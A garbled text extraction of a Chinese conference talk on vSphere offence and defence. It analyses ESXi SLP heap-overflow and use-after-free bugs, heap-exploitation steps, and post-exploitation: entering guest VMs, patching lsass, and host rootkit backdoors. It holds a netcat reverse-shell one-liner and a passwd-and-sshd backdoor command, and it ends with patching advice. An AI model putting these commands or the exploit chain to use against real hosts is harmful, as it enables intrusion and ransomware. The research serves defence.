《vSphere 攻防技法分享.pdf》由会员分享,可在线阅读,更多相关《vSphere 攻防技法分享.pdf(69页珍藏版)》请在三个皮匠报告上搜索。
1、vSphere vSphere 攻防技法分享攻防技法分享演讲人:彭峙酿 Sangfor彭峙酿彭峙酿首席安全研究员/首席架构师 Sangfor密码学博士隐私计算、软件安全、威胁猎捕、AIPrintNightmare、Zerologon、ExplodingCan、EOS百亿美金漏洞https:/ of my bugsCNVD-2012-13926,CVE-2017-7269,CVE-2018-20694,CVE-2018-20746,CVE-2018-20693,CVE-2018-20692,CVE-2018-20696,CVE-2018-20689,CVE-2018-20690,CVE-2018
2、-10812,CVE-2019-6184,CVE-2019-6186,CVE-2019-6487,CVE-2019-1253,CVE-2019-1292,CVE-2019-1317,CVE-2019-1340,CVE-2019-1342,CVE-2019-1374,CVE-2019-8162,CVE-2019-1474,CVE-2019-18371,CVE-2019-18370,CVE-2020-0616,CVE-2020-0635,CVE-2020-0636,CVE-2020-0638,CVE-2020-0641,CVE-2020-0648,CVE-2020-0697,CVE-2020-07
3、30,CVE-2020-3808,CVE-2020-0747,CVE-2020-0753,CVE-2020-0754,CVE-2020-0777,CVE-2020-0780,CVE-2020-0785,CVE-2020-0786,CVE-2020-0789,CVE-2020-0794,CVE-2020-0797,CVE-2020-0800,CVE-2020-0805,CVE-2020-0808,CVE-2020-0819,CVE-2020-0822,CVE-2020-0835,CVE-2020-0841,CVE-2020-0844,CVE-2020-0849,CVE-2020-0854,CVE
4、-2020-0858,CVE-2020-0863,CVE-2020-0864,CVE-2020-0865,CVE-2020-0868,CVE-2020-0871,CVE-2020-0896,CVE-2020-0897,CVE-2020-0899,CVE-2020-0900,CVE-2020-0934,CVE-2020-0935,CVE-2020-0936,CVE-2020-0942,CVE-2020-0944,CVE-2020-0983,CVE-2020-0985,CVE-2020-0989,CVE-2020-1000,CVE-2020-1002,CVE-2020-1010,CVE-2020-
5、1011,CVE-2020-1029,CVE-2020-1068,CVE-2020-1077,CVE-2020-1084,CVE-2020-1086,CVE-2020-1090,CVE-2020-1094,CVE-2020-1109,CVE-2020-1120,CVE-2020-1121,CVE-2020-1123,CVE-2020-1124,CVE-2020-1125,CVE-2020-1131,CVE-2020-1134,CVE-2020-1137,CVE-2020-1139,CVE-2020-1144,CVE-2020-1146,CVE-2020-1151,CVE-2020-1155,C
6、VE-2020-1156,CVE-2020-1157,CVE-2020-1158,CVE-2020-1163,CVE-2020-1164,CVE-2020-1165,CVE-2020-1166,CVE-2020-1184,CVE-2020-1185,CVE-2020-1186,CVE-2020-1187,CVE-2020-1188,CVE-2020-1189,CVE-2020-1190,CVE-2020-1191,CVE-2020-1196,CVE-2020-1199,CVE-2020-1201,CVE-2020-1204,CVE-2020-1209,CVE-2020-1211,CVE-202
7、0-1217,CVE-2020-1222,CVE-2020-1231,CVE-2020-1233,CVE-2020-1235,CVE-2020-1244,CVE-2020-1257,CVE-2020-1264,CVE-2020-1269,CVE-2020-1270,CVE-2020-1273,CVE-2020-1274,CVE-2020-1276,CVE-2020-1277,CVE-2020-1278,CVE-2020-1282,CVE-2020-1283,CVE-2020-1304,CVE-2020-1305,CVE-2020-1306,CVE-2020-1307,CVE-2020-1309
8、,CVE-2020-1312,CVE-2020-1317,CVE-2020-1337,CVE-2020-1344,CVE-2020-1346,CVE-2020-1347,CVE-2020-1352,CVE-2020-1356,CVE-2020-1357,CVE-2020-1360,CVE-2020-1361,CVE-2020-1362,CVE-2020-1364,CVE-2020-1366,CVE-2020-1372,CVE-2020-1373,CVE-2020-1375,CVE-2020-1385,CVE-2020-1392,CVE-2020-1393,CVE-2020-1394,CVE-2
9、020-1399,CVE-2020-1404,CVE-2020-1405,CVE-2020-1424,CVE-2020-1427,CVE-2020-1441,CVE-2020-0518,CVE-2020-1461,CVE-2020-1465,CVE-2020-1472,CVE-2020-1474,CVE-2020-1475,CVE-2020-1484,CVE-2020-1485,CVE-2020-1511,CVE-2020-1512,CVE-2020-0516,CVE-2020-1516,CVE-2020-1517,CVE-2020-1518,CVE-2020-1519,CVE-2020-15
10、21,CVE-2020-1522,CVE-2020-1524,CVE-2020-1528,CVE-2020-1538,CVE-2020-8741,CVE-2020-1548,CVE-2020-1549,CVE-2020-1550,CVE-2020-1552,CVE-2020-1590,CVE-2020-1130,CVE-2020-16851,CVE-2020-16852,CVE-2020-1122,CVE-2020-1038,CVE-2020-17089,CVE-2020-16853,CVE-2020-16879,CVE-2020-16900,CVE-2020-16980,CVE-2020-1
11、7014,CVE-2020-17070,CVE-2020-17073,CVE-2020-17074,CVE-2020-17075,CVE-2020-17076,CVE-2020-17077,CVE-2020-17092,CVE-2020-17097,CVE-2020-17120,CVE-2021-1649,CVE-2021-1650,CVE-2021-1651,CVE-2021-1659,CVE-2021-1680,CVE-2021-1681,CVE-2021-1686,CVE-2021-1687,CVE-2021-1688,CVE-2021-1689,CVE-2021-1690,CVE-20
12、21-1718,CVE-2021-1722,CVE-2021-24072,CVE-2021-24077,CVE-2021-3750,CVE-2021-24088,CVE-2021-26869,CVE-2021-26870,CVE-2021-26871,CVE-2021-26885,CVE-2021-28347,CVE-2021-28351,CVE-2021-28436,CVE-2021-28450,CVE-2021-31966,CVE-2021-34527,CVE-2021-42321,CVE-2021-36970,CVE-2021-38657,CVE-2021-40485,CVE-2021-
13、41366,CVE-2021-42294,CVE-2021-42297,CVE-2021-43216,CVE-2021-43223,CVE-2021-43248,CVE-2022-21835,CVE-2022-21837,CVE-2022-21878,CVE-2022-21881,CVE-2022-21888,CVE-2022-21971,CVE-2022-21974,CVE-2022-21992,CVE-2022-23285,CVE-2022-23290,CVE-2022-24454,CVE-2022-29108,CVE-2022-24547,CVE-2022-23270,CVE-2022-
14、26930,CVE-2022-29103,CVE-2022-29113,CVE-2022-38036,CVE-2022-35793,CVE-2022-35755,CVE-2022-35749,CVE-2022-35746,CVE-2022-34690,CVE-2022-21980,CVE-2022-22050,CVE-2022-22024,CVE-2022-22022,CVE-2022-30226,CVE-2022-30157,CVE-2022-29108,CVE-2022-21999,CVE-2023-21683,CVE-2023-21684,CVE-2023-21693,CVE-2023-
15、21801,CVE-2023-23403,CVE-2023-23406,CVE-2023-23413,CVE-2023-24856,CVE-2023-24857,CVE-2023-24858,CVE-2023-24863,CVE-2023-24865,CVE-2023-24866,CVE-2023-24867,CVE-2023-24907,CVE-2023-24868,CVE-2023-24909,CVE-2023-24870,CVE-2023-24872,CVE-2023-24913,CVE-2023-24876,CVE-2023-24924,CVE-2023-24883,CVE-2023-
16、24925,CVE-2023-24884,CVE-2023-24926,CVE-2023-24885,CVE-2023-24927,CVE-2023-24886,CVE-2023-24928,CVE-2023-24887,CVE-2023-24929,CVE-2023-28243,CVE-2023-28296,CVE-2023-29366,CVE-2023-29367,CVE-2023-32017,CVE-2023-32039,CVE-2023-32040,CVE-2023-32041,CVE-2023-32042,CVE-2023-32085,CVE-2023-35296,CVE-2023-
17、35302,CVE-2023-35306,CVE-2023-35313,CVE-2023-35323,CVE-2023-35324,CVE-2023-36898,大纲/CONTENTSCONTENTS简介简介SLPSLP漏洞利用漏洞利用vSpherevSphere后渗透后渗透总结总结漏洞分析利用思路横向移动后门&持久化简介ESXi&vCenter&vSphereSLPvSpherevSpherevSphere 是虚拟化巨头 vmware 提供的云计算虚拟化平台,在全球范围内广泛使用核心功能:提供对虚拟机和虚拟环境的集中管理主要有两个基础组件:1.vCenter:管理集群中的资源2.ESXi:为
18、虚拟化提供技术支持 运行虚拟机ESXiESXi Vmware为vSphere研发的裸金属hypervisor 是Vmware基础设置软件的主要组件 高效架构:稳定性、高性能 虚拟机运行在ESXi上vCentervCentervCenter纳管ESXi宿主机和其VM资源vSphere Client链接管理vCenter漏洞点:SLPSLP服务 SLP服务介绍 勒索事件:ESXiArgs ESXi中的SLP服务SLPSLP服务vCenter纳管ESXi宿主机和其VM资源vSphere Client链接管理vCenterESXiESXi勒索事件“ESXiArgs”勒索软件攻击ESXi实例 利用多个S
19、LP服务漏洞 数千台ESXi机器被攻击暴露的问题1.许多ESXi未升级 升级可能中断业务 版权问题2.SLP漏洞实战价值很高3.从2021到2023,两年多的时间未修复4.直接暴露在公网攻防演练:内网中问题更严峻攻击路线1.目标:通过SLP服务控制ESXi 获得宿主机上其他Guest权限进一步攻击vCenter 控制了vCenter意味着获得了集群的权限vCenter通常更容易被攻击有更多的公开漏洞vCenter往往直接摸不到在另外的网段可以从ESXi访问vCentervCenter有时跑在ESXi上-RCE ESXi-SLP!ESXiESXi中的SLPSLP1.slpd:SLP 服务进程2.
20、监听tcp:427端口3.认证前可访问4.ESXi 5.5后以root权限运行5.默认启用(ESXi 7.0 U2c前版本)6.单线程进程slpdsocketslpdsocket用户维护与客户端链接fd:tcp链接的文件描述符state:slpdsocket工作状态recvbuf:从client到slpd的raw datasendbuf:从slpd到client的raw datatypedef struct _SLPDSocketSLPListItem listitem;int fd;time_t age;/*in seconds*/int state;struct sockaddr_in p
21、eeraddr;/*Incoming socket stuff*/SLPBuffer recvbuf;SLPBuffer sendbuf;/*Outgoing socket stuff*/int reconns;SLPList sendlist;SLPDSocket;slpbufferslpbufferallocated:buffer的大小start/curpos/end:数据指针数据紧跟结构体typedef struct _SLPBufferSLPListItem listitem;size_t allocated;unsigned char*start;unsigned char*curp
22、os;unsigned char*end;unsigned char data0;*SLPBuffer;slpmessageslpmessageclient发送的消息被解析成::slpmessagetypedef struct _SLPMessagestruct sockaddr_in peer;SLPHeader header;union _bodySLPSrvAck srvack;/used for(de)register serviceSLPSrvReg srvreg;SLPSrvDeReg srvdereg;/used for request information of servic
23、eSLPSrvRqst srvrqst;SLPAttrRqst attrrqst;SLPSrvTypeRqst srvtyperqst;SLPSrvRply srvrply;SLPAttrRply attrrply;SLPSrvTypeRply srvtyperply;/used for agentSLPDAAdvert daadvert;SLPSAAdvert saadvert;body;*SLPMessage;slpmessageslpmessage Size Slpmessage中的指针指向recvbuf中的位置typedef struct _SLPAttrRqstint prlistl
24、en;const char*prlist;int urllen;const char*url;int scopelistlen;const char*scopelist;int taglistlen;const char*taglist;int spistrlen;const char*spistr;SLPAttrRqst;Recvbuf的部分布局SlpdsocketSlpdsocket状态#define#defineSOCKET_PENDING_IO SOCKET_PENDING_IO 100100#define#defineSOCKET_LISTEN SOCKET_LISTEN 0 0#d
25、efine#defineSOCKET_CLOSE SOCKET_CLOSE 1 1#define#defineDATAGRAM_UNICAST DATAGRAM_UNICAST 2 2#define#defineDATAGRAM_MULTICAST DATAGRAM_MULTICAST 3 3#define#defineDATAGRAM_BROADCAST DATAGRAM_BROADCAST 4 4#define#defineSTREAM_CONNECT_IDLE STREAM_CONNECT_IDLE 5 5#define#defineSTREAM_CONNECT_BLOCK STREAM
26、_CONNECT_BLOCK 6 6+SOCKET_PENDING_IOSOCKET_PENDING_IO#define#defineSTREAM_CONNECT_CLOSE STREAM_CONNECT_CLOSE 7 7+SOCKET_PENDING_IOSOCKET_PENDING_IO#define#defineSTREAM_READ STREAM_READ 8 8+SOCKET_PENDING_IOSOCKET_PENDING_IO#define#defineSTREAM_READ_FIRST STREAM_READ_FIRST 9 9+SOCKET_PENDING_IOSOCKET
27、_PENDING_IO#define#defineSTREAM_WRITE STREAM_WRITE 1010+SOCKET_PENDING_IOSOCKET_PENDING_IO#define#defineSTREAM_WRITE_FIRST STREAM_WRITE_FIRST 1111+SOCKET_PENDING_IOSOCKET_PENDING_IO#define#defineSTREAM_WRITE_WAIT STREAM_WRITE_WAIT 1212+SOCKET_PENDING_IOSOCKET_PENDING_IOslpdslpd workflowworkflowslpds
28、lpd workflowworkflowslpdslpd workflowworkflow沙箱ESXi使用沙箱限制进程(hostd,vpxa,etc.)访问资源(文件,目录,网络,etc.).每个进程都运行在安全域中.1.superDom:无沙箱2.hostd1:虚拟机的安全域沙箱逃逸VM逃逸后,可能需要再进行沙箱逃逸 ESXi内核漏洞进行沙箱逃逸 SLP 服务在沙箱外运行(ESXi7u2前),但可以从沙箱内访问.SLP 漏洞也可以进行沙箱逃逸根因分析slpd漏洞CVECVE-20、CVECVE-20修复后修复后,SLPSLP服务
29、只能本地访问服务只能本地访问(127127.0 0.0 0.1 1(ipv(ipv4 4)oror:1 1(ipv(ipv6 6).CVECVE-20 无法用于无法用于RCE,RCE,可用于沙箱逃逸可用于沙箱逃逸(ESXiESXi 7 7.0 0u u2 2前版本前版本,尤其是尤其是ESXiESXi 6 6.7 7).7 7.0 0u u2 2后后,SLPSLP服务在沙箱中运行服务在沙箱中运行.7 7.0 0u u2 2c c后后,SLPSLP服务默认禁用服务默认禁用.01CVE-2019-5544(堆溢出)CVE-2020-3992(UAF)CVE-2021
30、-21974(堆溢出)CVE-2022-31699(堆溢出)根因分析CVECVE-20(heap buffer overflow)(heap buffer overflow)客户端发送SLPSrvRqst来得到服务器信息.Slpd使用ProcessSrvRqst()来处理和回复信息typedef struct _SLPSrvRqstint prlistlen;const char*prlist;int srvtypelen;const char*srvtype;int scopelistlen;const char*scopelist;int predicatev
31、er;int predicatelen;const char*predicate;int spistrlen;const char*spistr;SLPSrvRqst;CVECVE-20(heap buffer overflow)(heap buffer overflow)根据url和langtag的长度重新分配Sendbuf然后拷贝url和opaque到sendbuf.SLPDAAdvertSLPDAAdvert3 个漏洞:处理SLPDAAdvert的过程.typedef struct _SLPDAAdvertint errorcode;unsigned int
32、 bootstamp;int urllen;const char*url;int scopelistlen;const char*scopelist;int attrlistlen;const char*attrlist;int spilistlen;const char*spilist;int authcount;SLPAuthBlock*autharray;SLPDAAdvert;CVECVE-20(use after free)(use after free)保存slpmsg到数据库.但是返回上层函数的时候,又释放了slpmsg.CVECVE-2021202
33、1-2197421974(heap buffer overflow)(heap buffer overflow)程序会假设url以x00结尾.实际上url指向recvbuf(数据完全由client控制).CVECVE-20(heap buffer overflow)(heap buffer overflow)整数溢出检查失效导致堆溢出漏洞利用漏洞利用SLP vulns利用 公开的:zdi:“CVE-2020-3992&CVE-2021-21974:PRE-AUTH REMOTE CODE EXECUTION IN VMWARE ESXI”.没有完整的利用.如何
34、做信息泄露.只有针对CVE-2021-21974的大致思路本文:1.实用的内存布局.2.多个漏洞利用.3.实战中的利用技巧.利用 总共有两类漏洞:1.1.堆溢出2.2.UAFUAF 只会根据漏洞类型进行利用介绍,相同类型的漏洞利用技巧类似.关注于利用中的技巧与原语.问题问题&解决方案解决方案问题1 1:版本不同版本,有不同的偏移.SLPAttrRqstSLPAttrRqst请求,客户端可以得到 ESXisESXis build numberbuild number:url:“url:“service:VMwareInfrastructureservice:VMwareInfrastructur
35、e”,”,scopelistscopelist:“default”:“default”本地搭环境,调试利用typedef struct _SLPAttrRqstint prlistlen;const char*prlist;int urllen;const char*url;int scopelistlen;const char*scopelist;int taglistlen;const char*taglist;int spistrlen;const char*spistr;SLPAttrRqst;问题2 2:碎片化现存的内存碎片堆利用影响很大.通过发送SLPSrvRegSLPSrvReg
36、消息,清理内存碎片.typedef struct _SLPSrvRegSLPUrlEntry urlentry;int srvtypelen;const char*srvtype;int scopelistlen;const char*scopelist;int attrlistlen;const char*attrlist;int authcount;SLPAuthBlock*autharray;uint32_t pid;int source;SLPSrvReg;问题3 3:shellshell Reverse shell?Reverse shell?启用 sshsshrm/tmp/f;mk
37、fifo/tmp/f;cat/tmp/f|/bin/sh-i 2&1|nc 192.168.52.1 80/tmp/fecho“xxx:/bin/echo“xxx:/bin/shsh”/”/etcetc/passwd&/passwd&/usrusr/lib/lib/vmwarevmware/opensshopenssh/bin/bin/sshdsshd问题4 4:运行时间 利用时需要创建多个SLPSLP链接 服务SLPSLP服务器繁忙,链接会在30s30s内被关闭.需要保证利用按时完成.隧道速度慢:内存执行expexpSlpbufferSlpbuffer原语 分析slpbufferslpbuf
38、fer结构体:覆盖 recvbuf.startrecvbuf.start/curposcurpos/end/end-任意写覆盖 sendbuf.startsendbuf.start/curposcurpos/end/end-任意读 其他原语:覆盖 slpbuffer.allocatedslpbuffer.allocated-越界读/写堆溢出利用实现任意写:1.让recvbuf1与recvbuf0重叠.2.修改recvbuf0.start/recvbuf0.curpos/recvbuf1.end到目标内存堆溢出利用泄露地址(简易方式):1.触发漏OOB漏洞修改freed chunk的size.2
39、.分配freed chunk作为recvbuf.3.实用recvbuf覆盖sendbuf.start的低两个字节,sendbuf.start 到sendbuf.end的数据将被泄露出来.堆溢出利用地址泄露(实用):1.修改recvbuf0的chunk size(让recvbuf0与sendbuf和recvbuf1重叠).2.释放recvbuf0,从分配成recvbuf2和recvbuf3(recvbuf3会与recvbuf1重叠).3.释放recvbuf1.会被释放到largebin.选择largebinlargebin的原因 Glibc:fastbin/smallbin/largebin.1
40、.如果chunk被释放到largebin,会同时包含heap的地址&glibc的地址.一次可以完成两个地址的泄露.2.直接泄露该freed chunk地址.不需要再找其他地址放cmd payload来执行system().UAFUAF利用实现任意写的内存布局:1.触发uaf得到一个slpmsg与free chunk的重叠.2.释放recvbuf0与slpmsg(它们会被merge).3.申请recvbuf2占用freed chunk(recvbuf2与recvbuf1重叠).UAFUAF利用 信息泄露内存布局:1.触发多次uaf,让slpmsg/recvbuf4/recvbuf3重叠.2.释放
41、recvbuf0与slpmsg(它们会被merge).UAFUAF利用 信息泄露内存3.申请recvbuf5占用merged freed chunk.4.释放recvbuf3,并申请sendbuf占位.UAFUAF利用 信息泄露内存布局:5.使用recvbuf5重写(recvbuf4/sendbuf).allocated,然后触发recvbuf4重分配.6.释放recvbuf2到largebin.Exp流程1.清空堆内存碎片.2.泄露堆&Glibc地址.3.写入cmd命令到堆地址.4.计算_free_hook和system地址.5.覆盖_free_hook到system.6.触发free.利用
42、根据实战经验:1.SLP的利用稳定性很好.大于95%成功率.2.大多数ESXi都未修复License问题.业务间断性问题.后渗透后渗透条条大路通罗马 Mandiant发布了针对ESXi的APT报告1.https:/ 实战中有相同的思考1.如何在vSphere集群做横向移动?2.如何控制所有的虚拟机?3.如何在ESXi上建立隐蔽后门?不同的技术,可实现相同的效果进入虚拟机获得了ESXi的Root权限之后如何进入虚拟机?公开的方式:1.快照然后获取哈希 只对Windows有效.2.克隆 不能进入运行中的VM.3.挂载vmdk Vmdk被使用,需要关闭VM.Mandiant的报告:1.攻击者使用CV
43、E-2023-20867进入虚拟机.2.虚拟机需要安装VMWare Tools.3.漏洞已经修复.其他方案:没有漏洞也能实现CVE-2023-20867在 ESXi 上,host 和 vm 可以使用 vmtools 进行通信如果 user/hacker 有 vm 的凭证.(凭证可以是 vm 中用户的用户名与密码明文,也可以是 SAML 凭证),那么 user/hacker 可以让 host 在 vm 中进行一些访客操作,例如上传文件,执行命令CVE-2023-20867:攻击者不需要拥有vm的凭证,也可以在vm中进行访客操作请求执行访客操作之前,host 会进行鉴权:默认情况下鉴权类型是 VI
44、X_USER_CREDENTIAL_NAME_PASSWORD(需要用户名和密码)但是通过对 host进程进行修改,可以将鉴权类型修改 VIX_USER_CREDENTIAL_ROOT,在此类型下,执行访客操作时是不会执行任何身份验证检查的Guest Host的内存映射基本原理:Host有对VM资源的无限制访问权限特别是磁盘和物理内存.ESXi使用一个map来管理Guest物理内存到Host虚拟内存的.1.与vmware workstation机制不同.2.逆向分析映射3.修改host虚拟内存 修改guest物理内存 注入guest.注入shellcode到Guest步骤:1.实现一个ESXi
45、内核模块:遍历/读/写 Guest机器的物理内存.2.找到Guest中可以被用来注入payload或shellcode的位置.3.注入shellcode.如果Guest系统是windows,位置可以是lsass.exe进程中Ntlmshared.dll的函数MsvpPasswordValidateloaded,可以直接patch成:“xor eax,eax;inc eax;ret;”Patch登录函数如果Guest操作系统是Windows:位置:lsass.exe Ntlmshared.dll!MsvpPasswordValidate.Patch可以用任何密码登录优势ESXi和vmware w
46、orkstation都可行.本质上适用于所有虚拟化平台windows或linux的guest都可行.不需要快照 或 克隆.对于大内存和磁盘的机器也很方便.vCenter的vpxuser权限可行.不需要额外的漏洞.可以通过vSphere api控制所有的虚拟机.能够直接注入shellcod到Guest.可自动化、规模化.Host上的后门内存操作:前面已经提到文件操作:内核中直接拿到handle解析vmdk解析文件系统网络操作:DVfilterRookit:几周的开发可以完成ESXi宿主机上的后门在VM上进行敲门,触发宿主机上的rookit操作虚拟机的内存/文件/网络RookitDvfilter:
47、监控网络VMDK Parser:文件操作Memory Map:内存操作VMCI:访客操作虚拟机1虚拟机2虚拟机3WEB业务对外暴露ESXi内网业务内网业务攻击者1.攻击者发送控制包给对外暴露的虚拟机11.攻击者发送控制包给对外暴露的虚拟机13.操作其他虚拟机2.ESXi宿主机捕获到控制包3.操作其他虚拟机ESXi后门入侵一台机器入侵一台机器可访问可访问ESXiESXi入侵一台入侵一台ESXiESXi上的上的VMVM利用利用SLPSLP服务实现服务实现VM/VM/沙箱沙箱 逃逸逃逸利用利用SLPSLP服务漏洞服务漏洞RCE RCE ESXiESXi用用vCentervCenter漏洞漏洞RCE
48、vCenterRCE vCenter用用SLPSLP漏洞漏洞RCE RCE ESXiESXi,然后进入然后进入vCentervCenter进入进入ESXiESXi上的上的虚拟机虚拟机通过通过vCentervCenter控制控制所有的所有的ESXiESXi进入任何进入任何GuestGuest通过通过vCentervCenter入侵一台机器入侵一台机器可访问可访问ESXiESXi入侵一台入侵一台ESXiESXi上的上的VMVM利用利用SLPSLP服务实现服务实现VM/VM/沙箱沙箱 逃逸逃逸利用利用SLPSLP服务漏洞服务漏洞RCE RCE ESXiESXi用用vCentervCenter漏洞漏洞
49、RCE vCenterRCE vCenter用用SLPSLP漏洞漏洞RCE RCE ESXiESXi,然后进入然后进入vCentervCenter进入进入ESXiESXi上的上的虚拟机虚拟机通过通过vCentervCenter控制控制所有的所有的ESXiESXi进入任何进入任何GuestGuest通过通过vCentervCentervSphere攻防技法:ESXi攻击链分享实用、冰山一隅确保你的ESXi/vCenter更新到最新版.禁用SLP服务或升级ESXi.进攻性安全研究可先于攻击者发现问题.总结感谢您的观看!T H A N KY O UF O RY O U RW A T C H I N G引用https:/www.cisa.gov/news-events/cybersecurity-advisories/aa23-039ahttps:/